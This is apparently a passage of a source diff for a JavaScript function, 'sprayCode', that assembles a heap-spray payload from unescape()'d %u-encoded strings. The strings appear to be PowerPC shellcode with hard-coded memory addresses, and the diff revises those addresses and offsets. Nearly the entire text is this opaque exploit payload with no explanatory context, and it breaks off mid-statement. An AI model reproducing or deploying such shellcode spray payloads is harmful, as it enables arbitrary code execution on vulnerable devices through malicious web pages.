unescape("%u7c6a%u1b78%u3d20%u3100%u7f8a%u4800%u419e%u0020%u3d20%u0103%u6129%u1368%u3d40%u0180%u386a%u1d84%u7d29%u03a6%u4e80%u0421%u4800%u07bc%u3d20%uc0a8%u6129%u010a%u913f%u0040%u811f%u0030%u395f%u0044"); - str += unescape("%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1d90%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u0048%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180"); - str += unescape("%u38a8%u1da0%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u004c%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1db8%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030"); - str += unescape("%u395f%u0050%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1dcc%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u0054%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000"); - str += unescape("%u3d00%u0180%u38a8%u1de4%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u0058%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1dfc%u7d46%u5378%u7d29%u03a6%u4e80%u0421"); + var str = unescape("%ucafe%ucafe%u9421%ufe90%u7c08%u02a6%u9001%u0174%u93e1%u016c%u7c3f%u0b78%u3c20%u1ab5%u6021%ud138%u395f%u0030%u3d20%u0102%u6129%ua31c%u3d00%u0180%u3868%u1e30%u7d44%u5378%u7d29%u03a6%u4e80%u0421"); + str += unescape("%u811f%u0030%u395f%u0034%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1e40%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u0038%u3d20%u0102%u6129%ub790%u7d03%u4378"); + str += unescape("%u3880%u0000%u3d00%u0180%u38a8%u1e48%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u003c%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1e58%u7d46%u5378%u7d29%u03a6"); + str += unescape("%u4e80%u0421%u813f%u0034%u2f89%u0000%u409e%u001c%u3d20%u0103%u6129%u1368%u3d40%u0180%u386a%u1e70%u7d29%u03a6%u4e80%u0421%u813f%u0038%u2f89%u0000%u409e%u001c%u3d20%u0103%u6129%u1368%u3d40%u0180"); + str += unescape("%u386a%u1e8c%u7d29%u03a6%u4e80%u0421%u813f%u003c%u2f89%u0000%u409e%u001c%u3d20%u0103%u6129%u1368%u3d40%u0180%u386a%u1eac%u7d29%u03a6%u4e80%u0421%u813f%u003c%u3c60%ua000%u7d29%u03a6%u4e80%u0421"); + str += unescape("%u7c6a%u1b78%u3d20%u3100%u7f8a%u4800%u419e%u0020%u3d20%u0103%u6129%u1368%u3d40%u0180%u386a%u1ed8%u7d29%u03a6%u4e80%u0421%u4800%u07bc%u3d20%uc0a8%u6129%u010a%u913f%u0040%u811f%u0030%u395f%u0044"); + str += unescape("%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1ee4%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u0048%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180"); + str += unescape("%u38a8%u1ef4%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u004c%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1f0c%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030"); + str += unescape("%u395f%u0050%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1f20%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u0054%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000"); + str += unescape("%u3d00%u0180%u38a8%u1f38%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u0058%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1f50%u7d46%u5378%u7d29%u03a6%u4e80%u0421"); str += unescape("%u3920%u0000%u913f%u0014%u3920%u0000%u913f%u0018%u3920%u0000%u913f%u001c%u813f%u0044%u7d29%u03a6%u4e80%u0421%u813f%u0048%u3860%u0000%u7d29%u03a6%u4e80%u0421%u7c69%u1b78%u913f%u0014%u813f%u0048"); str += unescape("%u3860%u0001%u7d29%u03a6%u4e80%u0421%u7c69%u1b78%u913f%u0018%u813f%u004c%u3860%u0000%u3c80%uf400%u7d29%u03a6%u4e80%u0421%u813f%u004c%u815f%u0014%u3d4a%uf400%u3860%u0001%u7d44%u5378%u7d29%u03a6"); str += unescape("%u4e80%u0421%u813f%u0050%u3860%u0000%u809f%u001c%u7d29%u03a6%u4e80%u0421%u813f%u0050%u3860%u0001%u809f%u001c%u7d29%u03a6%u4e80%u0421%u813f%u0038%u3c60%uf400%u809f%u0014%u7d29%u03a6%u4e80%u0421"); str += unescape("%u813f%u0038%u815f%u0014%u3d4a%uf400%u7d43%u5378%u809f%u0018%u7d29%u03a6%u4e80%u0421%u813f%u0054%u3860%u0000%u7d29%u03a6%u4e80%u0421%u813f%u0054%u3860%u0001%u7d29%u03a6%u4e80%u0421%u395f%u005c"); - str += unescape("%u3d20%u0102%u6129%ua31c%u3d00%u0180%u3868%u1e10%u7d44%u5378%u7d29%u03a6%u4e80%u0421%u811f%u005c%u395f%u0060%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1e1c%u7d46%u5378"); + str += unescape("%u3d20%u0102%u6129%ua31c%u3d00%u0180%u3868%u1f64%u7d44%u5378%u7d29%u03a6%u4e80%u0421%u811f%u005c%u395f%u0060%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1f70%u7d46%u5378"); str += unescape("%u7d29%u03a6%u4e80%u0421%u3920%u0003%u993f%u0008%u3920%u0001%u993f%u0009%u813f%u0060%u391f%u0068%u395f%u0064%u3860%u0000%u7d04%u4378%u38a0%u0001%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u893f%u0009"); str += unescape("%u5529%u063e%u2f89%u0000%u419e%u0028%u813f%u0054%u3860%u0001%u7d29%u03a6%u4e80%u0421%u813f%u0050%u3860%u0001%u3880%u0000%u7d29%u03a6%u4e80%u0421%u813f%u0058%u3860%u0001%u3880%u0012%u38a0%u0001"); - str += unescape("%u3d40%u0180%u38ca%u1e28%u7d29%u03a6%u4e80%u0421%u893f%u0040%u5529%u063e%u7d27%u4b78%u893f%u0041%u5529%u063e%u7d28%u4b78%u893f%u0042%u5529%u063e%u895f%u0043%u554a%u063e%u38df%u0114%u3ca0%u0102"); - str += unescape("%u60ab%uf09c%u7cc3%u3378%u3880%u0050%u3cc0%u0180%u38a6%u1e48%u3cc0%u0180%u38c6%u1e60%u7d69%u03a6%u4cc6%u3182%u4e80%u0421%u813f%u0058%u395f%u0114%u3860%u0001%u3880%u0000%u38a0%u0005%u7d46%u5378"); - str += unescape("%u7d29%u03a6%u4e80%u0421%u813f%u0058%u3860%u0001%u3880%u0000%u38a0%u0006%u3d40%u0180%u38ca%u1e70%u7d29%u03a6%u4e80%u0421%u813f%u0058%u3860%u0001%u3880%u002a%u38a0%u0011%u3d40%u0180%u38ca%u1e90"); - str += unescape("%u7d29%u03a6%u4e80%u0421%u893f%u0008%u5529%u103a%u5529%u063e%u3929%u000f%u993f%u0020%u813f%u0058%u895f%u0020%u554a%u063e%u3860%u0001%u7d44%u5378%u38a0%u0004%u3d40%u0180%u38ca%u1ea8%u7d29%u03a6"); + str += unescape("%u3d40%u0180%u38ca%u1f7c%u7d29%u03a6%u4e80%u0421%u893f%u0040%u5529%u063e%u7d27%u4b78%u893f%u0041%u5529%u063e%u7d28%u4b78%u893f%u0042%u5529%u063e%u895f%u0043%u554a%u063e%u38df%u0114%u3ca0%u0102"); + str += unescape("%u60ab%uf09c%u7cc3%u3378%u3880%u0050%u3cc0%u0180%u38a6%u1f9c%u3cc0%u0180%u38c6%u1fb4%u7d69%u03a6%u4cc6%u3182%u4e80%u0421%u813f%u0058%u395f%u0114%u3860%u0001%u3880%u0000%u38a0%u0005%u7d46%u5378"); + str += unescape("%u7d29%u03a6%u4e80%u0421%u813f%u0058%u3860%u0001%u3880%u0000%u38a0%u0006%u3d40%u0180%u38ca%u1fc4%u7d29%u03a6%u4e80%u0421%u813f%u0058%u3860%u0001%u3880%u002a%u38a0%u0011%u3d40%u0180%u38ca%u1fe4"); + str += unescape("%u7d29%u03a6%u4e80%u0421%u893f%u0008%u5529%u103a%u5529%u063e%u3929%u000f%u993f%u0020%u813f%u0058%u895f%u0020%u554a%u063e%u3860%u0001%u7d44%u5378%u38a0%u0004%u3d40%u0180%u38ca%u1ffc%u7d29%u03a6"); str += unescape("%u4e80%u0421%u813f%u0060%u391f%u0068%u395f%u0064%u3860%u0000%u7d04%u4378%u38a0%u0001%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u893f%u0009%u5529%u063e%u2f89%u0000%u419e%u002c%u813f%u0054%u3860%u0001"); str += unescape("%u7d29%u03a6%u4e80%u0421%u813f%u0050%u3860%u0001%u3880%u0000%u7d29%u03a6%u4e80%u0421%u4800%u0174%u813f%u0068%u5529%u07bc%u2f89%u0000%u419e%u0008%u4800%u0374%u813f%u0068%u5529%u0420%u2f89%u0000"); - str += unescape("%u419e%u0020%u6000%u0000%u3920%u12b4%u913f%u000c%u3d20%ua11d%u6129%ue000%u913f%u0024%u4800%u0180%u813f%u0068%u5529%u0528%u2f89%u0000%u419e%u003c%u893f%u0008%u5529%u063e%u2f89%u0000%u409e%u0014"); + str += unescape("%u419e%u0020%u6000%u0000%u3920%u1414%u913f%u000c%u3d20%ua11d%u6129%ue000%u913f%u0024%u4800%u0180%u813f%u0068%u5529%u0528%u2f89%u0000%u419e%u003c%u893f%u0008%u5529%u063e%u2f89%u0000%u409e%u0014"); str += unescape("%u3920%u0003%u993f%u0008%u3920%u0003%u4800%u0018%u893f%u0008%u3929%uffff%u993f%u0008%u893f%u0008%u5529%u063e%u993f%u0008%u813f%u0068%u5529%u056a%u2f89%u0000%u419e%u001c%u893f%u0008%u3929%u0001"); str += unescape("%u993f%u0008%u893f%u0008%u5529%u07be%u993f%u0008%u813f%u0068%u5529%u05ac%u2f89%u0000%u419e%u0054%u893f%u0008%u5528%u063e%u893f%u0008%u5529%u063e%u395f%u0008%u7d4a%u4a14%u894a%u0038%u554a%u063e"); str += unescape("%u394a%u0001%u5547%u063e%u395f%u0008%u7d4a%u4a14%u98ea%u0038%u395f%u0008%u7d2a%u4a14%u8929%u0038%u552a%u063e%u393f%u0008%u7d29%u4214%u9949%u0038%u813f%u0068%u5529%u05ee%u2f89%u0000%u419e%u0054"); str += unescape("%u893f%u0008%u5528%u063e%u893f%u0008%u5529%u063e%u395f%u0008%u7d4a%u4a14%u894a%u0038%u554a%u063e%u394a%uffff%u5547%u063e%u395f%u0008%u7d4a%u4a14%u98ea%u0038%u395f%u0008%u7d2a%u4a14%u8929%u0038"); str += unescape("%u552a%u063e%u393f%u0008%u7d29%u4214%u9949%u0038%u813f%u0068%u5529%u052e%u2f89%u0000%u7d20%u0026%u5529%ufffe%u6929%u0001%u5529%u063e%u993f%u0009%u4bff%ufccc%u815f%u0024%u813f%u000c%u7d2a%u4a14"); - str += unescape("%u3d40%u0180%u390a%u0a24%u815f%u000c%u7d48%u5214%u894a%u0000%u554a%u063e%u9949%u0000%u813f%u000c%u3949%uffff%u915f%u000c%u2f89%u0000%u409e%uffc8%u815f%u0040%u813f%u0024%u9149%u0000%u813f%u0038"); - str += unescape("%u807f%u0024%u3880%u12b4%u7d29%u03a6%u4e80%u0421%u3d20%u0180%u3929%u09a8%u913f%u0028%u3920%u000a%u913f%u000c%u813f%u0024%u3929%u12b4%u913f%u0010%u4800%u0114%u813f%u000c%u1d29%u000c%u815f%u0028"); + str += unescape("%u3d40%u0180%u390a%u0a18%u815f%u000c%u7d48%u5214%u894a%u0000%u554a%u063e%u9949%u0000%u813f%u000c%u3949%uffff%u915f%u000c%u2f89%u0000%u409e%uffc8%u815f%u0040%u813f%u0024%u9149%u0000%u813f%u0038"); + str += unescape("%u807f%u0024%u3880%u1414%u7d29%u03a6%u4e80%u0421%u3d20%u0180%u3929%u09a8%u913f%u0028%u3920%u0009%u913f%u000c%u813f%u0024%u3929%u1414%u913f%u0010%u4800%u0114%u813f%u000c%u1d29%u000c%u815f%u0028"); str += unescape("%u7d2a%u4a14%u8129%u0008%u6529%ua000%u815f%u0010%u3d4a%u6000%u9149%u0000%u813f%u000c%u1d29%u000c%u815f%u0028%u7d2a%u4a14%u8129%u0000%u6529%ua000%u8149%u0000%u813f%u0010%u9149%u0000%u813f%u0010"); str += unescape("%u3929%u0004%u913f%u0010%u813f%u000c%u1d29%u000c%u815f%u0028%u7d2a%u4a14%u8129%u0000%u3929%u0004%u5529%u01ba%u6529%u4800%u612a%u0002%u813f%u0010%u9149%u0000%u813f%u0010%u3929%u0004%u913f%u0010"); str += unescape("%u813f%u0038%u815f%u0010%u394a%ufff8%u7d43%u5378%u3880%u0008%u7d29%u03a6%u4e80%u0421%u813f%u000c%u1d29%u000c%u815f%u0028%u7d2a%u4a14%u8129%u0000%u6529%ua000%u815f%u000c%u1d4a%u000c%u811f%u0028"); @@ -93,97 +93,97 @@ function sprayCode(n) { str += unescape("%u4e80%u0421%u813f%u000c%u3949%uffff%u915f%u000c%u2f89%u0000%u409e%ufee0%u3d20%ua10c%u6129%u0404%u913f%u002c%u813f%u002c%u3d40%u3860%u9149%u0000%u813f%u002c%u3929%u0004%u3d40%u4e80%u614a%u0020"); str += unescape("%u9149%u0000%u3d20%uffea%u6123%uaa58%u3880%u0000%u4800%u0021%u3d20%uffea%u6123%uaa5c%u3c80%u1400%u4800%u0011%u813f%u0034%u7d29%u03a6%u4e80%u0421%u9421%uffe0%u7c08%u02a6%u9001%u0024%u93a1%u0014"); str += unescape("%u93c1%u0018%u93e1%u001c%u7c3f%u0b78%u907f%u0008%u909f%u000c%u83df%u0008%u83bf%u000c%u3860%u0001%u3880%u0000%u7fa5%ueb78%u38c0%u0000%u38e0%u0000%u3d00%u0001%u7fc9%uf378%u7c3d%u0b78%u3800%u3500"); - str += unescape("%u4400%u0002%u6000%u0000%u7fa1%ueb78%u397f%u0020%u800b%u0004%u7c08%u03a6%u83ab%ufff4%u83cb%ufff8%u83eb%ufffc%u7d61%u5b78%u4e80%u0020%u0106%u08ac%u011d%ue804%u011d%uf298%u0106%u0974%u011d%ue7d4"); - str += unescape("%u011d%uf28c%u0106%u546c%u011d%ue924%u011d%uf2a0%u0106%u0aa4%u011d%uea44%u011d%uf2a8%u0106%u21f8%u011d%ue7e4%u011d%uf290%u0106%ufdc8%u011d%uf170%u011d%uf2b0%u0106%u83c8%u011d%ue894%u011d%uf29c"); - str += unescape("%u0106%u8538%u011d%ue7f4%u011d%uf294%u0106%u85fc%u011d%ue98c%u011d%uf2a4%u0106%u8a08%u011d%ueaa8%u011d%uf2ac%u0000%u0078%u0000%u0000%u9421%uffe8%u7c08%u02a6%u93e1%u0014%u7cbf%u2b79%u93a1%u000c"); - str += unescape("%u7c7d%u1b78%u93c1%u0010%u7c9e%u2378%u9001%u001c%u41a1%u000c%u4800%u004c%u409d%u0048%u7fc4%uf378%u7fe5%ufb78%u7fa3%ueb78%u38c0%u0000%u4bee%u3669%u2c03%u0000%u7fe3%uf850%u7fde%u1a14%u2f9f%u0000"); + str += unescape("%u4400%u0002%u6000%u0000%u7fa1%ueb78%u397f%u0020%u800b%u0004%u7c08%u03a6%u83ab%ufff4%u83cb%ufff8%u83eb%ufffc%u7d61%u5b78%u4e80%u0020%u0106%u08ac%u011d%ue024%u011d%uf3f8%u0106%u0974%u011d%ue004"); + str += unescape("%u011d%uf3f0%u0106%u546c%u011d%ue144%u011d%uf400%u0106%u0aa4%u011d%ue264%u011d%uf408%u0106%uef7c%u011d%uea80%u011d%uf410%u0106%u83c8%u011d%ue0b4%u011d%uf3fc%u0106%u8538%u011d%ue014%u011d%uf3f4"); + str += unescape("%u0106%u85fc%u011d%ue1ac%u011d%uf404%u0106%u8a08%u011d%ue2c8%u011d%uf40c%u0000%u006c%u0000%u0000%u3d20%u011e%u8129%uf3f0%u7d29%u03a6%u4e80%u0420%u3d20%u011e%u8129%uf3f4%u7d29%u03a6%u4e80%u0420"); + str += unescape("%u7c08%u02a6%u9421%ufff0%u3d40%u0a00%u93e1%u000c%u3fe0%u1000%u9001%u0014%u63ff%u00e4%u813f%u0000%u7f89%u5000%u419e%u0024%u3d20%u011e%u8001%u0014%u8129%uf3f8%u83e1%u000c%u7c08%u03a6%u3821%u0010"); + str += unescape("%u7d29%u03a6%u4e80%u0420%u3d20%u1005%u3880%u0040%u8129%ue9c0%u3860%u0288%u7d29%u03a6%u4e80%u0421%u3880%u0000%u907f%u0000%u38a0%u0288%u4be5%u79c5%u3d20%u011e%u8001%u0014%u8129%uf3f8%u83e1%u000c"); + str += unescape("%u7c08%u03a6%u3821%u0010%u7d29%u03a6%u4e80%u0420%u7c08%u02a6%u9421%ufff0%u3d40%u0a00%u93e1%u000c%u3fe0%u1000%u9001%u0014%u63ff%u00e4%u813f%u0000%u7f89%u5000%u419e%u0024%u3d20%u011e%u8001%u0014"); + str += unescape("%u8129%uf3fc%u83e1%u000c%u7c08%u03a6%u3821%u0010%u7d29%u03a6%u4e80%u0420%u3d20%u1005%u3880%u0040%u8129%ue9c0%u3860%u0288%u7d29%u03a6%u4e80%u0421%u3880%u0000%u907f%u0000%u38a0%u0288%u4be5%u7935"); + str += unescape("%u3d20%u011e%u8001%u0014%u8129%uf3fc%u83e1%u000c%u7c08%u03a6%u3821%u0010%u7d29%u03a6%u4e80%u0420%u7c08%u02a6%u3d20%u011e%u9421%ufff0%u8129%uf400%u93e1%u000c%u7d29%u03a6%u9001%u0014%u4e80%u0421"); + str += unescape("%u3d20%u1000%u6129%u00e4%u3d40%u0a00%u8129%u0000%u7c7f%u1b78%u7f89%u5000%u419e%u0018%u2b83%u001f%u419d%u0010%u5463%u103a%u7c69%u1a14%u4800%u0b29%u8001%u0014%u7fe3%ufb78%u83e1%u000c%u7c08%u03a6"); + str += unescape("%u3821%u0010%u4e80%u0020%u7c08%u02a6%u3d20%u011e%u9421%ufff0%u8129%uf404%u93c1%u0008%u7c7e%u1b78%u93e1%u000c%u7d29%u03a6%u9001%u0014%u4e80%u0421%u3d20%u1000%u6129%u00e4%u7c7f%u1b78%u80e9%u0000"); + str += unescape("%u3d20%u0a00%u7f87%u4800%u419e%u005c%u2f83%u0000%u419c%u0054%u3900%u0020%u3947%u007c%u3920%u0000%u7d09%u03a6%u4800%u000c%u3929%u0001%u4240%u0038%u850a%u0004%u2f88%u0000%u409e%ufff0%u3949%u0020"); + str += unescape("%u3929%u0040%u554a%u103a%u5529%u103a%u7fc7%u512e%u3d40%u1000%u614a%u00e4%u806a%u0000%u7c63%u4a14%u4800%u0a75%u8001%u0014%u7fe3%ufb78%u83c1%u0008%u7c08%u03a6%u83e1%u000c%u3821%u0010%u4e80%u0020"); + str += unescape("%u7c08%u02a6%u9421%ufff0%u3d20%u1000%u3d40%u0a00%u6129%u00e4%u93e1%u000c%u9001%u0014%u7c7f%u1b78%u8129%u0000%u7f89%u5000%u419e%u0018%u2b83%u001f%u419d%u0010%u546a%u103a%u7c69%u502e%u4800%u0b15"); + str += unescape("%u3d20%u011e%u8001%u0014%u8129%uf408%u7fe3%ufb78%u7c08%u03a6%u83e1%u000c%u3821%u0010%u7d29%u03a6%u4e80%u0420%u7c08%u02a6%u9421%ufff0%u3d20%u1000%u6129%u00e4%u93c1%u0008%u9001%u0014%u7c7e%u1b78"); + str += unescape("%u93e1%u000c%u8109%u0000%u3d20%u0a00%u7f88%u4800%u419e%u0058%u3940%u0020%u3928%u007c%u3be0%u0000%u7d49%u03a6%u4800%u000c%u3bff%u0001%u4240%u003c%u8549%u0004%u7f9e%u5000%u409e%ufff0%u393f%u0040"); + str += unescape("%u3bff%u0020%u5529%u103a%u57ff%u103a%u7c68%u482e%u4800%u0a81%u3d20%u1000%u6129%u00e4%u3940%u0000%u8129%u0000%u7d49%uf92e%u3d20%u011e%u8001%u0014%u8129%uf40c%u7fc3%uf378%u83e1%u000c%u7c08%u03a6"); + str += unescape("%u83c1%u0008%u7d29%u03a6%u3821%u0010%u4e80%u0420%u9421%ufd48%u7c08%u02a6%u7ce9%u3b78%u3947%u0001%u9341%u02a0%u38e0%uffff%u93c1%u02b0%u7c9a%u2378%u93e1%u02b4%u7ca4%u2b78%u7cbe%u2b78%u7cdf%u3378"); + str += unescape("%u7cc5%u3378%u38c1%u027c%u93a1%u02ac%u7c7d%u1b78%u9001%u02bc%u92a1%u028c%u92c1%u0290%u92e1%u0294%u9301%u0298%u9321%u029c%u9361%u02a4%u9381%u02a8%u9121%u027c%u9141%u0278%u4be9%u12b5%u2c03%u0000"); + str += unescape("%u4082%u026c%u3940%u0072%u3f60%u1000%u9941%u0280%u637b%u00e4%u9861%u0281%u575c%u103a%u3f20%u011e%u3ee0%u1005%u3f00%u100b%u80a1%u027c%u7fa3%ueb78%u7fc4%uf378%u38c1%u0008%u38e0%uffff%u4be9%u1361"); + str += unescape("%u2f83%u0000%u409e%u0214%u895f%u0000%u2f8a%u0000%u419e%u02dc%u3901%u016b%u3920%u0000%u3929%u0001%u9d48%u0001%u7d5f%u48ae%u2f8a%u0000%u409e%ufff0%u3909%u0001%u8941%u006c%u38e1%u0008%u7d27%u4a14"); + str += unescape("%u38e0%u002f%u2f8a%u0000%u98e9%u0164%u419e%u0028%u3921%u016c%u38e8%uffff%u7ce9%u3a14%u3921%u006c%u9d47%u0001%u3908%u0001%u8d49%u0001%u2f8a%u0000%u409e%ufff0%u38e1%u0008%u3ac0%u0000%u7d07%u4214"); + str += unescape("%u3881%u016c%u9ac8%u0164%u38a0%u00fb%u813b%u0000%u7c69%ue02e%u4800%u0dfd%u8121%u0008%u2f89%u0000%u419c%u01cc%u3920%u0066%u9ac1%u0270%u9921%u026c%u3920%u0069%u9921%u026d%u3920%u006c%u9921%u026e"); + str += unescape("%u3920%u0065%u9921%u026f%u3881%u026c%u38a0%u00fb%u813b%u0000%u7c69%ue02e%u4800%u0db9%u3939%uf3f0%u8129%u0020%u7fa3%ueb78%u7fc4%uf378%u38a1%u016c%u38c1%u0280%u38e1%u0278%u3900%uffff%u7d29%u03a6"); + str += unescape("%u4e80%u0421%u2c03%u0000%u4180%u01b0%u813b%u0000%u7f44%ud378%u80c1%u0278%u38a1%u016c%u7c69%ue02e%u3aa0%u0c80%u4800%u0879%u813b%u0000%u7c76%u1b78%u3881%u016c%u7c69%ue02e%u38a0%u00fb%u4800%u0d55"); + str += unescape("%u2f96%u0001%u419e%u019c%u8137%ue9c0%u7ea3%uab78%u3880%u0040%u7d29%u03a6%u4e80%u0421%u7c76%u1b78%u4800%u0010%u80c1%u0278%u7c69%ue02e%u4800%u0a15%u8101%u0278%u7fc4%uf378%u7ec5%ub378%u3920%u0000"); + str += unescape("%u38c0%u0001%u7ea7%uab78%u3940%u0000%u7fa3%ueb78%u4be9%u0b55%u7ec4%ub378%u2f83%u0000%u7c65%u1b78%u9061%u0274%u813b%u0000%u419d%uffbc%u7c69%ue02e%u3881%u0274%u80a1%u0278%u4800%u0af5%u80a1%u0278"); + str += unescape("%u38e0%uffff%u7fc4%uf378%u38c0%u0000%u7fa3%ueb78%u4be9%u0f3d%u8138%u487c%u7ec3%ub378%u7d29%u03a6%u4e80%u0421%u80a1%u0278%u7fc4%uf378%u38c0%uffff%u7fa3%ueb78%u4be9%u0a71%u80a1%u027c%u7fa3%ueb78"); + str += unescape("%u7fc4%uf378%u38c1%u0008%u38e0%uffff%u4be9%u1151%u2f83%u0000%u419e%ufdf4%u80a1%u027c%u7fa3%ueb78%u7fc4%uf378%u38c0%u0000%u4be9%u10b5%u8001%u02bc%u3860%u0000%u82a1%u028c%u7c08%u03a6%u82c1%u0290"); + str += unescape("%u82e1%u0294%u8301%u0298%u8321%u029c%u8341%u02a0%u8361%u02a4%u8381%u02a8%u83a1%u02ac%u83c1%u02b0%u83e1%u02b4%u3821%u02b8%u4e80%u0020%u3920%u0064%u9ac1%u026f%u9921%u026c%u3920%u0069%u9921%u026d"); + str += unescape("%u3920%u0072%u9921%u026e%u3881%u026c%u38a0%u00fb%u813b%u0000%u7c69%ue02e%u4800%u0bf9%u80e1%u0278%u7fa3%ueb78%u7f44%ud378%u7fc5%uf378%u38c1%u016c%u4bff%ufca1%u4bff%ufd34%u3863%u0039%u3920%u0030"); + str += unescape("%u9861%u026c%u3881%u026c%u9921%u026d%u38a0%u00fb%u813b%u0000%u7c69%ue02e%u4800%u0bb9%u4bff%ufd0c%u3aa0%u0000%u62b5%uc800%u4bff%ufe60%u3900%u0001%u3920%u0000%u4bff%ufd40%u9421%ufea0%u3920%u005f"); + str += unescape("%u7c08%u02a6%u9921%u000a%u3920%u002e%u9921%u000f%u3920%u0072%u92c1%u0138%u3ac0%u006c%u92e1%u013c%u3ae0%u0073%u9301%u0140%u3b00%u0061%u9321%u0144%u3b20%u0065%u9341%u0148%u3b40%u0076%u9361%u014c"); + str += unescape("%u7c7b%u1b78%u9381%u0150%u3861%u0008%u93c1%u0158%u7c9c%u2378%u3bc0%u006e%u93e1%u015c%u3881%u0108%u3be0%u0000%u9921%u0010%u3920%u0070%u9001%u0164%u93a1%u0154%u7cbd%u2b78%u9bc1%u0008%u9bc1%u0009"); + str += unescape("%u9921%u0011%u9ae1%u000b%u9b01%u000c%u9b41%u000d%u9b21%u000e%u9ac1%u0012%u9be1%u0013%u4be4%ubb5d%u3920%u0053%u8061%u0108%u9921%u0008%u3920%u0041%u9921%u0009%u3920%u0056%u9921%u000a%u3920%u0045"); + str += unescape("%u9921%u000b%u3920%u0049%u9921%u000c%u3920%u0069%u3880%u0000%u38a1%u0008%u38c1%u0114%u9921%u000e%u3920%u0074%u9bc1%u000d%u9921%u000f%u9be1%u0010%u4be4%ucf7d%u8121%u0114%u7d29%u03a6%u4e80%u0421"); + str += unescape("%u3920%u0030%u3900%u002f%u3940%u006f%u38e0%u006d%u9901%u0108%u9901%u010c%u9901%u0111%u3900%u0038%u9921%u0115%u9921%u0116%u9921%u0117%u9921%u0118%u9921%u0119%u9921%u011a%u9921%u011b%u3920%u0063"); + str += unescape("%u9941%u010a%u9901%u0114%u3901%u0007%u9921%u0120%u3920%u0076%u9941%u0121%u98e1%u0122%u98e1%u0123%u38e1%u0109%u9941%u0124%u3940%u002f%u9bc1%u0125%u3bc0%u0000%u9b41%u0109%u9ac1%u010b%u9ae1%u010d"); + str += unescape("%u9b01%u010e%u9b41%u010f%u9b21%u0110%u9be1%u0112%u9be1%u011c%u9be1%u0126%u4800%u0008%u8d27%u0001%u2f89%u0000%u9d48%u0001%u3bde%u0001%u7d2a%u4b78%u409e%uffec%u3921%u0008%u3b5e%uffff%u7f49%ud214"); + str += unescape("%u38c1%u0115%u7f47%ud378%u7fca%uf378%u3920%u0030%u3900%u0038%u4800%u0008%u8d26%u0001%u2f89%u0000%u9d07%u0001%u394a%u0001%u7d28%u4b78%u409e%uffec%u7d41%u5214%u3be0%u0001%u992a%u0008%u4800%u0028"); + str += unescape("%u2f89%u0009%u3949%u0057%u9901%u0018%u3929%u0030%u419d%u0058%u2f9f%u0100%u9921%u0019%u3bff%u0001%u419e%u0058%u7f63%udb78%u7fa4%ueb78%u7f85%ue378%u38c1%u0008%u38e0%u0032%u4bff%ufa19%u7fe9%u2670"); + str += unescape("%u2f89%u0009%u3949%u0057%u3909%u0030%u57e9%u073e%u40bd%uffb0%u2f89%u0009%u9941%u0018%u3949%u0057%u3929%u0030%u40bd%uffb0%u2f9f%u0100%u9941%u0019%u3bff%u0001%u409e%uffb0%u3901%u0121%u7f4a%ud378"); + str += unescape("%u3be0%u006f%u3920%u0063%u4800%u0008%u8fe8%u0001%u2f9f%u0000%u9d2a%u0001%u3bde%u0001%u7fe9%ufb78%u409e%uffec%u7fc1%uf214%u3f40%u1000%u9bfe%u0008%u635a%u00e4%u57be%u103a%u3881%u0008%u813a%u0000"); + str += unescape("%u38a0%u00fb%u7c69%uf02e%u4800%u08c9%u7fa4%ueb78%u7f85%ue378%u38c1%u0008%u7f63%udb78%u38e0%u003c%u4bff%uf971%u3920%u0064%u9921%u0128%u3920%u006f%u9921%u0129%u3920%u006e%u9921%u012a%u3920%u0065"); + str += unescape("%u9921%u012b%u3920%u0021%u9be1%u012d%u3881%u0128%u9921%u012c%u38a0%u00fb%u813a%u0000%u7c69%uf02e%u4800%u0871%u8001%u0164%u82c1%u0138%u7c08%u03a6%u82e1%u013c%u8301%u0140%u8321%u0144%u8341%u0148"); + str += unescape("%u8361%u014c%u8381%u0150%u83a1%u0154%u83c1%u0158%u83e1%u015c%u3821%u0160%u4e80%u0020%u7c08%u02a6%u9421%uffd8%u3d20%u1000%u6129%u00e4%u93a1%u001c%u9001%u002c%u7cbd%u2b78%u93c1%u0020%u7c9e%u2378"); + str += 